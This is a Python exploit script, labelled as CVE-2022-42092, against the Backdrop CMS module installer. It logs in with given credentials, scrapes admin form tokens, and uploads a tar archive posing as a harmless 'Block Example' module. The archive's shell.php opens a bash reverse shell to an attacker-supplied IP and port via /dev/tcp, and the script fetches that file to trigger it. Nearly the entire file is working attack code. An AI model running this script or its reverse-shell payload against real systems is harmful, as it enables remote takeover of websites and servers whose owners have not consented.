import requests import argparse import re import os import tarfile import json from urllib.parse import urlparse, parse_qs # Disable SSL warnings requests.packages.urllib3.disable_warnings() # Fixed boundary for multipart/form-data BOUNDARY = '----WebKitFormBoundaryGwsD4HInY1Jf9ANu' def ensure_url_structure(url): if not url.startswith(('http://', 'https://')): print("[-] URL missing scheme (http:// or https://), adding http:// by default.") url = "http://" + url if not url.endswith('/'): url += '/' return url def login(target_url, username, password): print("[+] Retrieving form_build_id...") r = requests.get(f"{target_url}/?q=user/login", verify=False) form_build_id = re.search(r'name="form_build_id" value="(.*?)"', r.text) if form_build_id: form_build_id = form_build_id.group(1) else: print("[-] Could not find form_build_id!") exit(1) print("[+] Logging in...") payload = { 'name': username, 'pass': password, 'form_build_id': form_build_id, 'form_id': 'user_login', 'op': 'Log in' } session = requests.Session() r = session.post(f"{target_url}/?q=user/login", data=payload, verify=False, allow_redirects=False) if r.status_code == 302: print("[+] Login successful!") return session else: print("[-] Login failed!") exit(1) def create_malicious_tar(listener_ip, listener_port): print("[+] Creating malicious shell module...") if not os.path.exists("shell"): os.makedirs("shell") with open("shell/shell.info", "w") as f: f.write("""name = Block Example description = An example outlining how a module can define blocks. dependencies[] = block package = Example modules version = BACKDROP_VERSION backdrop = 1.x type = module """) with open("shell/shell.php", "w") as f: f.write(f"& /dev/tcp/{listener_ip}/{listener_port} 0>&1'\"); ?>") with tarfile.open("shell.tar.gz", "w:gz") as tar: tar.add("shell", arcname=os.path.basename("shell")) print("[+] Malicious shell module archive created.") def get_admin_tokens(session, target_url): print("[+] Grabbing admin installer tokens...") r = session.get(f"{target_url}/?q=admin/installer/manual", verify=False) form_build_id_admin = re.search(r'name="form_build_id" value="(.*?)"', r.text) form_token = re.search(r'name="form_token" value="(.*?)"', r.text) theme_token = re.search(r'"theme_token":"(.*?)"', r.text) if form_build_id_admin and form_token and theme_token: return form_build_id_admin.group(1), form_token.group(1), theme_token.group(1) else: print("[-] Could not grab necessary tokens!") exit(1) def authorize_upload(session, target_url, response_text): try: response_json = json.loads(response_text) for item in response_json: authorize_url = item.get('url') if authorize_url: parsed_url = urlparse(authorize_url) params = parse_qs(parsed_url.query) batch = params.get('batch', [None])[0] id_ = params.get('id', [None])[0] if batch and id_: final_url = f"{target_url}/core/authorize.php?batch={batch}&id={id_}&op=do_nojs&op=do" print(f"[+] Sending Authorize Request ...") r = session.post(final_url, verify=False) if r.status_code == 200: print("[+] Request successful!") else: print("[-] Request failed!") exit(1) break except Exception as e: print(f"[-] Could not extract upload URL: {e}") exit(1) def upload_shell(session, target_url, form_build_id_admin, form_token, theme_token): print("[+] Uploading malicious archive...") with open('shell.tar.gz', 'rb') as f: body = ( f"--{BOUNDARY}\r\n" f"Content-Disposition: form-data; name=\"form_build_id\"\r\n\r\n{form_build_id_admin}\r\n" f"--{BOUNDARY}\r\n" f"Content-Disposition: form-data; name=\"form_token\"\r\n\r\n{form_token}\r\n" f"--{BOUNDARY}\r\n" f"Content-Disposition: form-data; name=\"form_id\"\r\n\r\ninstaller_manager_install_form\r\n" f"--{BOUNDARY}\r\n" f"Content-Disposition: form-data; name=\"_triggering_element_name\"\r\n\r\nop\r\n" f"--{BOUNDARY}\r\n" f"Content-Disposition: form-data; name=\"_triggering_element_value\"\r\n\r\nInstall\r\n" f"--{BOUNDARY}\r\n" f"Content-Disposition: form-data; name=\"ajax_page_state[theme]\"\r\n\r\nseven\r\n" f"--{BOUNDARY}\r\n" f"Content-Disposition: form-data; name=\"ajax_page_state[theme_token]\"\r\n\r\n{theme_token}\r\n" f"--{BOUNDARY}\r\n" f"Content-Disposition: form-data; name=\"files[project_upload]\"; filename=\"shell.tar.gz\"\r\n" f"Content-Type: application/gzip\r\n\r\n" ).encode() + f.read() + f"\r\n--{BOUNDARY}--\r\n".encode() headers = { 'Content-Type': 'multipart/form-data; boundary=----WebKitFormBoundaryGwsD4HInY1Jf9ANu', 'Accept': 'application/vnd.backdrop-ajax, */*; q=0.01' } r = session.post(f"{target_url}/?q=system/ajax", headers=headers, data=body, verify=False) if r.status_code == 200: print("[+] File uploaded successfully!") authorize_upload(session, target_url, r.text) return True else: print("[-] Upload failed!") exit(1) def main(): parser = argparse.ArgumentParser(description='CVE-2022-42092 Exploit Script') parser.add_argument('target_url', help='Target URL') parser.add_argument('username', help='Username') parser.add_argument('password', help='Password') parser.add_argument('listener_ip', help='Listener IP') parser.add_argument('listener_port', help='Listener Port') args = parser.parse_args() target_url = ensure_url_structure(args.target_url) session = login(target_url, args.username, args.password) create_malicious_tar(args.listener_ip, args.listener_port) form_build_id_admin, form_token, theme_token = get_admin_tokens(session, target_url) upload_shell(session, target_url, form_build_id_admin, form_token, theme_token) print("[+] Triggering the reverse shell...") requests.get(f"{target_url}/modules/shell/shell.php", verify=False) if __name__ == "__main__": main()